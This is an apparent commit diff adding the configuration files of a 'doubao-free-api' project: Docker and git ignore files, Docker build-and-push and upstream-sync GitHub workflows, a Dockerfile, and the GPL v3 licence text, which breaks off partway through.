gallyga commited on
Commit
7ffba87
·
verified ·
1 Parent(s): 003b6f9

Upload 44 files

Browse files
.dockerignore ADDED
@@ -0,0 +1,9 @@
 
 
 
 
 
 
 
 
 
 
1
+ logs
2
+ dist
3
+ doc
4
+ node_modules
5
+ .vscode
6
+ .git
7
+ .gitignore
8
+ README.md
9
+ *.tar.gz
.gitattributes CHANGED
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
 
 
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
36
+ doc/example-0.png filter=lfs diff=lfs merge=lfs -text
.github/workflows/docker-image.yml ADDED
@@ -0,0 +1,46 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ name: Build and Push Docker Image
2
+
3
+ on:
4
+ release:
5
+ types: [created]
6
+ workflow_dispatch:
7
+ inputs:
8
+ tag:
9
+ description: 'Tag Name'
10
+ required: true
11
+
12
+ jobs:
13
+ build-and-push:
14
+ runs-on: ubuntu-latest
15
+ steps:
16
+ - uses: actions/checkout@v2
17
+
18
+ - name: Set up Docker Buildx
19
+ uses: docker/setup-buildx-action@v1
20
+
21
+ - name: Login to Docker Hub
22
+ uses: docker/login-action@v1
23
+ with:
24
+ username: ${{ secrets.DOCKERHUB_USERNAME }}
25
+ password: ${{ secrets.DOCKERHUB_PASSWORD }}
26
+
27
+ - name: Set tag name
28
+ id: tag_name
29
+ run: |
30
+ if [ "${{ github.event_name }}" = "release" ]; then
31
+ echo "::set-output name=tag::${GITHUB_REF#refs/tags/}"
32
+ elif [ "${{ github.event_name }}" = "workflow_dispatch" ]; then
33
+ echo "::set-output name=tag::${{ github.event.inputs.tag }}"
34
+ fi
35
+
36
+ - name: Build and push Docker image with Release tag
37
+ uses: docker/build-push-action@v2
38
+ with:
39
+ context: .
40
+ file: ./Dockerfile
41
+ push: true
42
+ tags: |
43
+ vinlic/doubao-free-api:${{ steps.tag_name.outputs.tag }}
44
+ vinlic/doubao-free-api:latest
45
+ platforms: linux/amd64,linux/arm64
46
+ build-args: TARGETPLATFORM=${{ matrix.platform }}
.github/workflows/sync.yml ADDED
@@ -0,0 +1,48 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ name: Upstream Sync
2
+
3
+ permissions:
4
+ contents: write
5
+ issues: write
6
+ actions: write
7
+
8
+ on:
9
+ schedule:
10
+ - cron: '0 * * * *' # every hour
11
+ workflow_dispatch:
12
+
13
+ jobs:
14
+ sync_latest_from_upstream:
15
+ name: Sync latest commits from upstream repo
16
+ runs-on: ubuntu-latest
17
+ if: ${{ github.event.repository.fork }}
18
+
19
+ steps:
20
+ - uses: actions/checkout@v4
21
+
22
+ - name: Clean issue notice
23
+ uses: actions-cool/issues-helper@v3
24
+ with:
25
+ actions: 'close-issues'
26
+ labels: '🚨 Sync Fail'
27
+
28
+ - name: Sync upstream changes
29
+ id: sync
30
+ uses: aormsby/Fork-Sync-With-Upstream-action@v3.4
31
+ with:
32
+ upstream_sync_repo: LLM-Red-Team/doubao-free-api
33
+ upstream_sync_branch: master
34
+ target_sync_branch: master
35
+ target_repo_token: ${{ secrets.GITHUB_TOKEN }} # automatically generated, no need to set
36
+ test_mode: false
37
+
38
+ - name: Sync check
39
+ if: failure()
40
+ uses: actions-cool/issues-helper@v3
41
+ with:
42
+ actions: 'create-issue'
43
+ title: '🚨 同步失败 | Sync Fail'
44
+ labels: '🚨 Sync Fail'
45
+ body: |
46
+ Due to a change in the workflow file of the LLM-Red-Team/doubao-free-api upstream repository, GitHub has automatically suspended the scheduled automatic update. You need to manually sync your fork. Please refer to the detailed [Tutorial][tutorial-en-US] for instructions.
47
+
48
+ 由于 LLM-Red-Team/doubao-free-api 上游仓库的 workflow 文件变更,导致 GitHub 自动暂停了本次自动更新,你需要手动 Sync Fork 一次,
.gitignore ADDED
@@ -0,0 +1,4 @@
 
 
 
 
 
1
+ dist/
2
+ node_modules/
3
+ logs/
4
+ .vercel
Dockerfile ADDED
@@ -0,0 +1,21 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ FROM node:lts AS BUILD_IMAGE
2
+
3
+ WORKDIR /app
4
+
5
+ COPY . /app
6
+
7
+ RUN yarn install --registry https://registry.npmmirror.com/ --ignore-engines && yarn run build
8
+
9
+ FROM node:lts-alpine
10
+
11
+ COPY --from=BUILD_IMAGE /app/configs /app/configs
12
+ COPY --from=BUILD_IMAGE /app/package.json /app/package.json
13
+ COPY --from=BUILD_IMAGE /app/dist /app/dist
14
+ COPY --from=BUILD_IMAGE /app/public /app/public
15
+ COPY --from=BUILD_IMAGE /app/node_modules /app/node_modules
16
+
17
+ WORKDIR /app
18
+
19
+ EXPOSE 8000
20
+
21
+ CMD ["npm", "start"]
LICENSE ADDED
@@ -0,0 +1,674 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ GNU GENERAL PUBLIC LICENSE
2
+ Version 3, 29 June 2007
3
+
4
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
5
+ Everyone is permitted to copy and distribute verbatim copies
6
+ of this license document, but changing it is not allowed.
7
+
8
+ Preamble
9
+
10
+ The GNU General Public License is a free, copyleft license for
11
+ software and other kinds of works.
12
+
13
+ The licenses for most software and other practical works are designed
14
+ to take away your freedom to share and change the works. By contrast,
15
+ the GNU General Public License is intended to guarantee your freedom to
16
+ share and change all versions of a program--to make sure it remains free
17
+ software for all its users. We, the Free Software Foundation, use the
18
+ GNU General Public License for most of our software; it applies also to
19
+ any other work released this way by its authors. You can apply it to
20
+ your programs, too.
21
+
22
+ When we speak of free software, we are referring to freedom, not
23
+ price. Our General Public Licenses are designed to make sure that you
24
+ have the freedom to distribute copies of free software (and charge for
25
+ them if you wish), that you receive source code or can get it if you
26
+ want it, that you can change the software or use pieces of it in new
27
+ free programs, and that you know you can do these things.
28
+
29
+ To protect your rights, we need to prevent others from denying you
30
+ these rights or asking you to surrender the rights. Therefore, you have
31
+ certain responsibilities if you distribute copies of the software, or if
32
+ you modify it: responsibilities to respect the freedom of others.
33
+
34
+ For example, if you distribute copies of such a program, whether
35
+ gratis or for a fee, you must pass on to the recipients the same
36
+ freedoms that you received. You must make sure that they, too, receive
37
+ or can get the source code. And you must show them these terms so they
38
+ know their rights.
39
+
40
+ Developers that use the GNU GPL protect your rights with two steps:
41
+ (1) assert copyright on the software, and (2) offer you this License
42
+ giving you legal permission to copy, distribute and/or modify it.
43
+
44
+ For the developers' and authors' protection, the GPL clearly explains
45
+ that there is no warranty for this free software. For both users' and
46
+ authors' sake, the GPL requires that modified versions be marked as
47
+ changed, so that their problems will not be attributed erroneously to
48
+ authors of previous versions.
49
+
50
+ Some devices are designed to deny users access to install or run
51
+ modified versions of the software inside them, although the manufacturer
52
+ can do so. This is fundamentally incompatible with the aim of
53
+ protecting users' freedom to change the software. The systematic
54
+ pattern of such abuse occurs in the area of products for individuals to
55
+ use, which is precisely where it is most unacceptable. Therefore, we
56
+ have designed this version of the GPL to prohibit the practice for those
57
+ products. If such problems arise substantially in other domains, we
58
+ stand ready to extend this provision to those domains in future versions
59
+ of the GPL, as needed to protect the freedom of users.
60
+
61
+ Finally, every program is threatened constantly by software patents.
62
+ States should not allow patents to restrict development and use of
63
+ software on general-purpose computers, but in those that do, we wish to
64
+ avoid the special danger that patents applied to a free program could
65
+ make it effectively proprietary. To prevent this, the GPL assures that
66
+ patents cannot be used to render the program non-free.
67
+
68
+ The precise terms and conditions for copying, distribution and
69
+ modification follow.
70
+
71
+ TERMS AND CONDITIONS
72
+
73
+ 0. Definitions.
74
+
75
+ "This License" refers to version 3 of the GNU General Public License.
76
+
77
+ "Copyright" also means copyright-like laws that apply to other kinds of
78
+ works, such as semiconductor masks.
79
+
80
+ "The Program" refers to any copyrightable work licensed under this
81
+ License. Each licensee is addressed as "you". "Licensees" and
82
+ "recipients" may be individuals or organizations.
83
+
84
+ To "modify" a work means to copy from or adapt all or part of the work
85
+ in a fashion requiring copyright permission, other than the making of an
86
+ exact copy. The resulting work is called a "modified version" of the
87
+ earlier work or a work "based on" the earlier work.
88
+
89
+ A "covered work" means either the unmodified Program or a work based
90
+ on the Program.
91
+
92
+ To "propagate" a work means to do anything with it that, without
93
+ permission, would make you directly or secondarily liable for
94
+ infringement under applicable copyright law, except executing it on a
95
+ computer or modifying a private copy. Propagation includes copying,
96
+ distribution (with or without modification), making available to the
97
+ public, and in some countries other activities as well.
98
+
99
+ To "convey" a work means any kind of propagation that enables other
100
+ parties to make or receive copies. Mere interaction with a user through
101
+ a computer network, with no transfer of a copy, is not conveying.
102
+
103
+ An interactive user interface displays "Appropriate Legal Notices"
104
+ to the extent that it includes a convenient and prominently visible
105
+ feature that (1) displays an appropriate copyright notice, and (2)
106
+ tells the user that there is no warranty for the work (except to the
107
+ extent that warranties are provided), that licensees may convey the
108
+ work under this License, and how to view a copy of this License. If
109
+ the interface presents a list of user commands or options, such as a
110
+ menu, a prominent item in the list meets this criterion.
111
+
112
+ 1. Source Code.
113
+
114
+ The "source code" for a work means the preferred form of the work
115
+ for making modifications to it. "Object code" means any non-source
116
+ form of a work.
117
+
118
+ A "Standard Interface" means an interface that either is an official
119
+ standard defined by a recognized standards body, or, in the case of
120
+ interfaces specified for a particular programming language, one that
121
+ is widely used among developers working in that language.
122
+
123
+ The "System Libraries" of an executable work include anything, other
124
+ than the work as a whole, that (a) is included in the normal form of
125
+ packaging a Major Component, but which is not part of that Major
126
+ Component, and (b) serves only to enable use of the work with that
127
+ Major Component, or to implement a Standard Interface for which an
128
+ implementation is available to the public in source code form. A
129
+ "Major Component", in this context, means a major essential component
130
+ (kernel, window system, and so on) of the specific operating system
131
+ (if any) on which the executable work runs, or a compiler used to
132
+ produce the work, or an object code interpreter used to run it.
133
+
134
+ The "Corresponding Source" for a work in object code form means all
135
+ the source code needed to generate, install, and (for an executable
136
+ work) run the object code and to modify the work, including scripts to
137
+ control those activities. However, it does not include the work's
138
+ System Libraries, or general-purpose tools or generally available free
139
+ programs which are used unmodified in performing those activities but
140
+ which are not part of the work. For example, Corresponding Source
141
+ includes interface definition files associated with source files for
142
+ the work, and the source code for shared libraries and dynamically
143
+ linked subprograms that the work is specifically designed to require,
144
+ such as by intimate data communication or control flow between those
145
+ subprograms and other parts of the work.
146
+
147
+ The Corresponding Source need not include anything that users
148
+ can regenerate automatically from other parts of the Corresponding
149
+ Source.
150
+
151
+ The Corresponding Source for a work in source code form is that
152
+ same work.
153
+
154
+ 2. Basic Permissions.
155
+
156
+ All rights granted under this License are granted for the term of
157
+ copyright on the Program, and are irrevocable provided the stated
158
+ conditions are met. This License explicitly affirms your unlimited
159
+ permission to run the unmodified Program. The output from running a
160
+ covered work is covered by this License only if the output, given its
161
+ content, constitutes a covered work. This License acknowledges your
162
+ rights of fair use or other equivalent, as provided by copyright law.
163
+
164
+ You may make, run and propagate covered works that you do not
165
+ convey, without conditions so long as your license otherwise remains
166
+ in force. You may convey covered works to others for the sole purpose
167
+ of having them make modifications exclusively for you, or provide you
168
+ with facilities for running those works, provided that you comply with
169
+ the terms of this License in conveying all material for which you do
170
+ not control copyright. Those thus making or running the covered works
171
+ for you must do so exclusively on your behalf, under your direction
172
+ and control, on terms that prohibit them from making any copies of
173
+ your copyrighted material outside their relationship with you.
174
+
175
+ Conveying under any other circumstances is permitted solely under
176
+ the conditions stated below. Sublicensing is not allowed; section 10
177
+ makes it unnecessary.
178
+
179
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180
+
181
+ No covered work shall be deemed part of an effective technological
182
+ measure under any applicable law fulfilling obligations under article
183
+ 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184
+ similar laws prohibiting or restricting circumvention of such
185
+ measures.
186
+
187
+ When you convey a covered work, you waive any legal power to forbid
188
+ circumvention of technological measures to the extent such circumvention
189
+ is effected by exercising rights under this License with respect to
190
+ the covered work, and you disclaim any intention to limit operation or
191
+ modification of the work as a means of enforcing, against the work's
192
+ users, your or third parties' legal rights to forbid circumvention of
193
+ technological measures.
194
+
195
+ 4. Conveying Verbatim Copies.
196
+
197
+ You may convey verbatim copies of the Program's source code as you
198
+ receive it, in any medium, provided that you conspicuously and
199
+ appropriately publish on each copy an appropriate copyright notice;
200
+ keep intact all notices stating that this License and any
201
+ non-permissive terms added in accord with section 7 apply to the code;
202
+ keep intact all notices of the absence of any warranty; and give all
203
+ recipients a copy of this License along with the Program.
204
+
205
+ You may charge any price or no price for each copy that you convey,
206
+ and you may offer support or warranty protection for a fee.
207
+
208
+ 5. Conveying Modified Source Versions.
209
+
210
+ You may convey a work based on the Program, or the modifications to
211
+ produce it from the Program, in the form of source code under the
212
+ terms of section 4, provided that you also meet all of these conditions:
213
+
214
+ a) The work must carry prominent notices stating that you modified
215
+ it, and giving a relevant date.
216
+
217
+ b) The work must carry prominent notices stating that it is
218
+ released under this License and any conditions added under section
219
+ 7. This requirement modifies the requirement in section 4 to
220
+ "keep intact all notices".
221
+
222
+ c) You must license the entire work, as a whole, under this
223
+ License to anyone who comes into possession of a copy. This
224
+ License will therefore apply, along with any applicable section 7
225
+ additional terms, to the whole of the work, and all its parts,
226
+ regardless of how they are packaged. This License gives no
227
+ permission to license the work in any other way, but it does not
228
+ invalidate such permission if you have separately received it.
229
+
230
+ d) If the work has interactive user interfaces, each must display
231
+ Appropriate Legal Notices; however, if the Program has interactive
232
+ interfaces that do not display Appropriate Legal Notices, your
233
+ work need not make them do so.
234
+
235
+ A compilation of a covered work with other separate and independent
236
+ works, which are not by their nature extensions of the covered work,
237
+ and which are not combined with it such as to form a larger program,
238
+ in or on a volume of a storage or distribution medium, is called an
239
+ "aggregate" if the compilation and its resulting copyright are not
240
+ used to limit the access or legal rights of the compilation's users
241
+ beyond what the individual works permit. Inclusion of a covered work
242
+ in an aggregate does not cause this License to apply to the other
243
+ parts of the aggregate.
244
+
245
+ 6. Conveying Non-Source Forms.
246
+
247
+ You may convey a covered work in object code form under the terms
248
+ of sections 4 and 5, provided that you also convey the
249
+ machine-readable Corresponding Source under the terms of this License,
250
+ in one of these ways:
251
+
252
+ a) Convey the object code in, or embodied in, a physical product
253
+ (including a physical distribution medium), accompanied by the
254
+ Corresponding Source fixed on a durable physical medium
255
+ customarily used for software interchange.
256
+
257
+ b) Convey the object code in, or embodied in, a physical product
258
+ (including a physical distribution medium), accompanied by a
259
+ written offer, valid for at least three years and valid for as
260
+ long as you offer spare parts or customer support for that product
261
+ model, to give anyone who possesses the object code either (1) a
262
+ copy of the Corresponding Source for all the software in the
263
+ product that is covered by this License, on a durable physical
264
+ medium customarily used for software interchange, for a price no
265
+ more than your reasonable cost of physically performing this
266
+ conveying of source, or (2) access to copy the
267
+ Corresponding Source from a network server at no charge.
268
+
269
+ c) Convey individual copies of the object code with a copy of the
270
+ written offer to provide the Corresponding Source. This
271
+ alternative is allowed only occasionally and noncommercially, and
272
+ only if you received the object code with such an offer, in accord
273
+ with subsection 6b.
274
+
275
+ d) Convey the object code by offering access from a designated
276
+ place (gratis or for a charge), and offer equivalent access to the
277
+ Corresponding Source in the same way through the same place at no
278
+ further charge. You need not require recipients to copy the
279
+ Corresponding Source along with the object code. If the place to
280
+ copy the object code is a network server, the Corresponding Source
281
+ may be on a different server (operated by you or a third party)
282
+ that supports equivalent copying facilities, provided you maintain
283
+ clear directions next to the object code saying where to find the
284
+ Corresponding Source. Regardless of what server hosts the
285
+ Corresponding Source, you remain obligated to ensure that it is
286
+ available for as long as needed to satisfy these requirements.
287
+
288
+ e) Convey the object code using peer-to-peer transmission, provided
289
+ you inform other peers where the object code and Corresponding
290
+ Source of the work are being offered to the general public at no
291
+ charge under subsection 6d.
292
+
293
+ A separable portion of the object code, whose source code is excluded
294
+ from the Corresponding Source as a System Library, need not be
295
+ included in conveying the object code work.
296
+
297
+ A "User Product" is either (1) a "consumer product", which means any
298
+ tangible personal property which is normally used for personal, family,
299
+ or household purposes, or (2) anything designed or sold for incorporation
300
+ into a dwelling. In determining whether a product is a consumer product,
301
+ doubtful cases shall be resolved in favor of coverage. For a particular
302
+ product received by a particular user, "normally used" refers to a
303
+ typical or common use of that class of product, regardless of the status
304
+ of the particular user or of the way in which the particular user
305
+ actually uses, or expects or is expected to use, the product. A product
306
+ is a consumer product regardless of whether the product has substantial
307
+ commercial, industrial or non-consumer uses, unless such uses represent
308
+ the only significant mode of use of the product.
309
+
310
+ "Installation Information" for a User Product means any methods,
311
+ procedures, authorization keys, or other information required to install
312
+ and execute modified versions of a covered work in that User Product from
313
+ a modified version of its Corresponding Source. The information must
314
+ suffice to ensure that the continued functioning of the modified object
315
+ code is in no case prevented or interfered with solely because
316
+ modification has been made.
317
+
318
+ If you convey an object code work under this section in, or with, or
319
+ specifically for use in, a User Product, and the conveying occurs as
320
+ part of a transaction in which the right of possession and use of the
321
+ User Product is transferred to the recipient in perpetuity or for a
322
+ fixed term (regardless of how the transaction is characterized), the
323
+ Corresponding Source conveyed under this section must be accompanied
324
+ by the Installation Information. But this requirement does not apply
325
+ if neither you nor any third party retains the ability to install
326
+ modified object code on the User Product (for example, the work has
327
+ been installed in ROM).
328
+
329
+ The requirement to provide Installation Information does not include a
330
+ requirement to continue to provide support service, warranty, or updates
331
+ for a work that has been modified or installed by the recipient, or for
332
+ the User Product in which it has been modified or installed. Access to a
333
+ network may be denied when the modification itself materially and
334
+ adversely affects the operation of the network or violates the rules and
335
+ protocols for communication across the network.
336
+
337
+ Corresponding Source conveyed, and Installation Information provided,
338
+ in accord with this section must be in a format that is publicly
339
+ documented (and with an implementation available to the public in
340
+ source code form), and must require no special password or key for
341
+ unpacking, reading or copying.
342
+
343
+ 7. Additional Terms.
344
+
345
+ "Additional permissions" are terms that supplement the terms of this
346
+ License by making exceptions from one or more of its conditions.
347
+ Additional permissions that are applicable to the entire Program shall
348
+ be treated as though they were included in this License, to the extent
349
+ that they are valid under applicable law. If additional permissions
350
+ apply only to part of the Program, that part may be used separately
351
+ under those permissions, but the entire Program remains governed by
352
+ this License without regard to the additional permissions.
353
+
354
+ When you convey a copy of a covered work, you may at your option
355
+ remove any additional permissions from that copy, or from any part of
356
+ it. (Additional permissions may be written to require their own
357
+ removal in certain cases when you modify the work.) You may place
358
+ additional permissions on material, added by you to a covered work,
359
+ for which you have or can give appropriate copyright permission.
360
+
361
+ Notwithstanding any other provision of this License, for material you
362
+ add to a covered work, you may (if authorized by the copyright holders of
363
+ that material) supplement the terms of this License with terms:
364
+
365
+ a) Disclaiming warranty or limiting liability differently from the
366
+ terms of sections 15 and 16 of this License; or
367
+
368
+ b) Requiring preservation of specified reasonable legal notices or
369
+ author attributions in that material or in the Appropriate Legal
370
+ Notices displayed by works containing it; or
371
+
372
+ c) Prohibiting misrepresentation of the origin of that material, or
373
+ requiring that modified versions of such material be marked in
374
+ reasonable ways as different from the original version; or
375
+
376
+ d) Limiting the use for publicity purposes of names of licensors or
377
+ authors of the material; or
378
+
379
+ e) Declining to grant rights under trademark law for use of some
380
+ trade names, trademarks, or service marks; or
381
+
382
+ f) Requiring indemnification of licensors and authors of that
383
+ material by anyone who conveys the material (or modified versions of
384
+ it) with contractual assumptions of liability to the recipient, for
385
+ any liability that these contractual assumptions directly impose on
386
+ those licensors and authors.
387
+
388
+ All other non-permissive additional terms are considered "further
389
+ restrictions" within the meaning of section 10. If the Program as you
390
+ received it, or any part of it, contains a notice stating that it is
391
+ governed by this License along with a term that is a further
392
+ restriction, you may remove that term. If a license document contains
393
+ a further restriction but permits relicensing or conveying under this
394
+ License, you may add to a covered work material governed by the terms
395
+ of that license document, provided that the further restriction does
396
+ not survive such relicensing or conveying.
397
+
398
+ If you add terms to a covered work in accord with this section, you
399
+ must place, in the relevant source files, a statement of the
400
+ additional terms that apply to those files, or a notice indicating
401
+ where to find the applicable terms.
402
+
403
+ Additional terms, permissive or non-permissive, may be stated in the
404
+ form of a separately written license, or stated as exceptions;
405
+ the above requirements apply either way.
406
+
407
+ 8. Termination.
408
+
409
+ You may not propagate or modify a covered work except as expressly
410
+ provided under this License. Any attempt otherwise to propagate or
411
+ modify it is void, and will automatically terminate your rights under
412
+ this License (including any patent licenses granted under the third
413
+ paragraph of section 11).
414
+
415
+ However, if you cease all violation of this License, then your
416
+ license from a particular copyright holder is reinstated (a)
417
+ provisionally, unless and until the copyright holder explicitly and
418
+ finally terminates your license, and (b) permanently, if the copyright
419
+ holder fails to notify you of the violation by some reasonable means
420
+ prior to 60 days after the cessation.
421
+
422
+ Moreover, your license from a particular copyright holder is
423
+ reinstated permanently if the copyright holder notifies you of the
424
+ violation by some reasonable means, this is the first time you have
425
+ received notice of violation of this License (for any work) from that
426
+ copyright holder, and you cure the violation prior to 30 days after
427
+ your receipt of the notice.
428
+
429
+ Termination of your rights under this section does not terminate the
430
+ licenses of parties who have received copies or rights from you under
431
+ this License. If your rights have been terminated and not permanently
432
+ reinstated, you do not qualify to receive new licenses for the same
433
+ material under section 10.
434
+
435
+ 9. Acceptance Not Required for Having Copies.
436
+
437
+ You are not required to accept this License in order to receive or
438
+ run a copy of the Program. Ancillary propagation of a covered work
439
+ occurring solely as a consequence of using peer-to-peer transmission
440
+ to receive a copy likewise does not require acceptance. However,
441
+ nothing other than this License grants you permission to propagate or
442
+ modify any covered work. These actions infringe copyright if you do
443
+ not accept this License. Therefore, by modifying or propagating a
444
+ covered work, you indicate your acceptance of this License to do so.
445
+
446
+ 10. Automatic Licensing of Downstream Recipients.
447
+
448
+ Each time you convey a covered work, the recipient automatically
449
+ receives a license from the original licensors, to run, modify and
450
+ propagate that work, subject to this License. You are not responsible
451
+ for enforcing compliance by third parties with this License.
452
+
453
+ An "entity transaction" is a transaction transferring control of an
454
+ organization, or substantially all assets of one, or subdividing an
455
+ organization, or merging organizations. If propagation of a covered
456
+ work results from an entity transaction, each party to that
457
+ transaction who receives a copy of the work also receives whatever
458
+ licenses to the work the party's predecessor in interest had or could
459
+ give under the previous paragraph, plus a right to possession of the
460
+ Corresponding Source of the work from the predecessor in interest, if
461
+ the predecessor has it or can get it with reasonable efforts.
462
+
463
+ You may not impose any further restrictions on the exercise of the
464
+ rights granted or affirmed under this License. For example, you may
465
+ not impose a license fee, royalty, or other charge for exercise of
466
+ rights granted under this License, and you may not initiate litigation
467
+ (including a cross-claim or counterclaim in a lawsuit) alleging that
468
+ any patent claim is infringed by making, using, selling, offering for
469
+ sale, or importing the Program or any portion of it.
470
+
471
+ 11. Patents.
472
+
473
+ A "contributor" is a copyright holder who authorizes use under this
474
+ License of the Program or a work on which the Program is based. The
475
+ work thus licensed is called the contributor's "contributor version".
476
+
477
+ A contributor's "essential patent claims" are all patent claims
478
+ owned or controlled by the contributor, whether already acquired or
479
+ hereafter acquired, that would be infringed by some manner, permitted
480
+ by this License, of making, using, or selling its contributor version,
481
+ but do not include claims that would be infringed only as a
482
+ consequence of further modification of the contributor version. For
483
+ purposes of this definition, "control" includes the right to grant
484
+ patent sublicenses in a manner consistent with the requirements of
485
+ this License.
486
+
487
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
488
+ patent license under the contributor's essential patent claims, to
489
+ make, use, sell, offer for sale, import and otherwise run, modify and
490
+ propagate the contents of its contributor version.
491
+
492
+ In the following three paragraphs, a "patent license" is any express
493
+ agreement or commitment, however denominated, not to enforce a patent
494
+ (such as an express permission to practice a patent or covenant not to
495
+ sue for patent infringement). To "grant" such a patent license to a
496
+ party means to make such an agreement or commitment not to enforce a
497
+ patent against the party.
498
+
499
+ If you convey a covered work, knowingly relying on a patent license,
500
+ and the Corresponding Source of the work is not available for anyone
501
+ to copy, free of charge and under the terms of this License, through a
502
+ publicly available network server or other readily accessible means,
503
+ then you must either (1) cause the Corresponding Source to be so
504
+ available, or (2) arrange to deprive yourself of the benefit of the
505
+ patent license for this particular work, or (3) arrange, in a manner
506
+ consistent with the requirements of this License, to extend the patent
507
+ license to downstream recipients. "Knowingly relying" means you have
508
+ actual knowledge that, but for the patent license, your conveying the
509
+ covered work in a country, or your recipient's use of the covered work
510
+ in a country, would infringe one or more identifiable patents in that
511
+ country that you have reason to believe are valid.
512
+
513
+ If, pursuant to or in connection with a single transaction or
514
+ arrangement, you convey, or propagate by procuring conveyance of, a
515
+ covered work, and grant a patent license to some of the parties
516
+ receiving the covered work authorizing them to use, propagate, modify
517
+ or convey a specific copy of the covered work, then the patent license
518
+ you grant is automatically extended to all recipients of the covered
519
+ work and works based on it.
520
+
521
+ A patent license is "discriminatory" if it does not include within
522
+ the scope of its coverage, prohibits the exercise of, or is
523
+ conditioned on the non-exercise of one or more of the rights that are
524
+ specifically granted under this License. You may not convey a covered
525
+ work if you are a party to an arrangement with a third party that is
526
+ in the business of distributing software, under which you make payment
527
+ to the third party based on the extent of your activity of conveying
528
+ the work, and under which the third party grants, to any of the
529
+ parties who would receive the covered work from you, a discriminatory
530
+ patent license (a) in connection with copies of the covered work
531
+ conveyed by you (or copies made from those copies), or (b) primarily
532
+ for and in connection with specific products or compilations that
533
+ contain the covered work, unless you entered into that arrangement,
534
+ or that patent license was granted, prior to 28 March 2007.
535
+
536
+ Nothing in this License shall be construed as excluding or limiting
537
+ any implied license or other defenses to infringement that may
538
+ otherwise be available to you under applicable patent law.
539
+
540
+ 12. No Surrender of Others' Freedom.
541
+
542
+ If conditions are imposed on you (whether by court order, agreement or
543
+ otherwise) that contradict the conditions of this License, they do not
544
+ excuse you from the conditions of this License. If you cannot convey a
545
+ covered work so as to satisfy simultaneously your obligations under this
546
+ License and any other pertinent obligations, then as a consequence you may
547
+ not convey it at all. For example, if you agree to terms that obligate you
548
+ to collect a royalty for further conveying from those to whom you convey
549
+ the Program, the only way you could satisfy both those terms and this
550
+ License would be to refrain entirely from conveying the Program.
551
+
552
+ 13. Use with the GNU Affero General Public License.
553
+
554
+ Notwithstanding any other provision of this License, you have
555
+ permission to link or combine any covered work with a work licensed
556
+ under version 3 of the GNU Affero General Public License into a single
557
+ combined work, and to convey the resulting work. The terms of this
558
+ License will continue to apply to the part which is the covered work,
559
+ but the special requirements of the GNU Affero General Public License,
560
+ section 13, concerning interaction through a network will apply to the
561
+ combination as such.
562
+
563
+ 14. Revised Versions of this License.
564
+
565
+ The Free Software Foundation may publish revised and/or new versions of
566
+ the GNU General Public License from time to time. Such new versions will
567
+ be similar in spirit to the present version, but may differ in detail to
568
+ address new problems or concerns.
569
+
570
+ Each version is given a distinguishing version number. If the
571
+ Program specifies that a certain numbered version of the GNU General
572
+ Public License "or any later version" applies to it, you have the
573
+ option of following the terms and conditions either of that numbered
574
